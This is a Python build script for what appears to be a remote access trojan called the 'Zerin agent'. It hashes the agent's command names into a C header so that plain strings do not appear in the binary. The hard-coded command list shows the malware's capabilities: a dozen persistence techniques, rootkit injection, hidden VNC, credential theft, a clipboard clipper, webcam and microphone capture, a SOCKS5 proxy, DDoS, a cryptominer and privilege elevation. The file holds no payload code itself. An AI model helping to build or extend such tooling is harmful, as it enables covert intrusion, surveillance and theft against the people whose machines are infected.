#!/usr/bin/env python3
"""
generate_cmd_hashes.py - Build-time FNV-1a command hash generator for Zerin agent.

Computes FNV-1a 32-bit hashes for all command names and outputs a header file
with #define constants, replacing string comparisons with hash lookups.

Outputs:
  - include/cmd_hashes_gen.h  (hash defines + inline hash function)

Usage:
  python tools/generate_cmd_hashes.py [--outdir <agent_root>]
"""

import os
import sys
import argparse

# ============================================================================
# Command table (must match handler.c order)
# ============================================================================

COMMANDS = [
    "shell",
    "whoami",
    "ps",
    "ls",
    "cd",
    "pwd",
    "upload",
    "download",
    "screenshot",
    "netstat",
    "ifconfig",
    "reg_read",
    "reg_write",
    "persist_runkey",
    "persist_schtask",
    "persist_service",
    "env",
    "sysinfo",
    "persist_startup",
    "persist_logonscript",
    "persist_screensaver",
    "persist_ifeo",
    "persist_bits",
    "persist_com",
    "persist_dllhijack",
    "persist_wmi",
    "persist_portmon",
    "persist_ssp",
    "delete",
    "encrypt",
    "decrypt",
    "execute",
    "uninstall",
    "restart",
    "shutdown",
    "troll_msgbox",
    "troll_tts",
    "troll_website",
    "troll_wallpaper",
    "troll_taskbar",
    "troll_cd_tray",
    "chat",
    "rootkit_status",
    "rootkit_inject",
    "rootkit_inject_all",
    "vnc_start",
    "vnc_stop",
    "hvnc_start",
    "hvnc_stop",
    "hvnc_exec",
    "powershell",
    "kill",
    "windows",
    "installed_apps",
    "specs",
    "troll_swapmouse",
    "troll_disablesound",
    "troll_blackscreen",
    "troll_disablekeyboard",
    "troll_disablemouse",
    "troll_reroutesites",
    "creds",
    "clipper_start",
    "clipper_stop",
    "clipper_config",
    "webcam_start",
    "webcam_stop",
    "webcam_list",
    "mic_start",
    "mic_stop",
    "socks5_start",
    "socks5_stop",
    "ddos_start",
    "ddos_stop",
    "miner_start",
    "miner_stop",
    "miner_status",
    "elevate",
]

assert len(COMMANDS) == 78, f"Expected 78 commands, got {len(COMMANDS)}"

# ============================================================================
# FNV-1a 32-bit hash
# ============================================================================

def fnv1a_32(s):
    h = 0x811c9dc5
    for c in s.encode('utf-8'):
        h ^= c
        h = (h * 0x01000193) & 0xFFFFFFFF
    return h

# ============================================================================
# Header generation
# ============================================================================

def generate_header(commands):
    """Generate the C header content with hash defines."""
    # Compute hashes and check for collisions
    hashes = {}
    for cmd in commands:
        h = fnv1a_32(cmd)
        if h in hashes:
            print(f"ERROR: Hash collision between '{hashes[h]}' and '{cmd}' "
                  f"(0x{h:08x})", file=sys.stderr)
            sys.exit(1)
        hashes[h] = cmd

    # Find max define name length for alignment
    max_name_len = max(len(f"CMD_HASH_{cmd.upper()}") for cmd in commands)

    lines = []
    lines.append("// Auto-generated by generate_cmd_hashes.py - DO NOT EDIT")
    lines.append("#ifndef CMD_HASHES_GEN_H")
    lines.append("#define CMD_HASHES_GEN_H")
    lines.append("")
    lines.append("#include <stdint.h>")
    lines.append("")
    lines.append("static inline uint32_t fnv1a_hash(const char *s) {")
    lines.append("    uint32_t h = 0x811c9dc5u;")
    lines.append("    for (; *s; s++) {")
    lines.append("        h ^= (uint8_t)*s;")
    lines.append("        h *= 0x01000193u;")
    lines.append("    }")
    lines.append("    return h;")
    lines.append("}")
    lines.append("")

    for cmd in commands:
        h = fnv1a_32(cmd)
        define_name = f"CMD_HASH_{cmd.upper()}"
        padding = " " * (max_name_len - len(define_name))
        lines.append(f"#define {define_name}{padding}  0x{h:08x}u  // \"{cmd}\"")

    lines.append("")
    lines.append("#endif // CMD_HASHES_GEN_H")
    lines.append("")

    return "\n".join(lines)

# ============================================================================
# Main
# ============================================================================

def main():
    parser = argparse.ArgumentParser(
        description="Generate FNV-1a command hash header for Zerin agent"
    )
    parser.add_argument("--outdir", default=None,
                        help="Agent root directory (default: script parent dir)")
    args = parser.parse_args()

    # Determine paths
    script_dir = os.path.dirname(os.path.abspath(__file__))
    agent_dir = args.outdir or os.path.dirname(script_dir)

    header_path = os.path.join(agent_dir, "include", "cmd_hashes_gen.h")

    # Ensure output directory exists
    os.makedirs(os.path.dirname(header_path), exist_ok=True)

    # Generate
    header_content = generate_header(COMMANDS)

    # Write header
    with open(header_path, "w", newline="\n") as f:
        f.write(header_content)

    print(f"Generated {header_path} ({len(COMMANDS)} commands, no collisions)")

if __name__ == "__main__":
    main()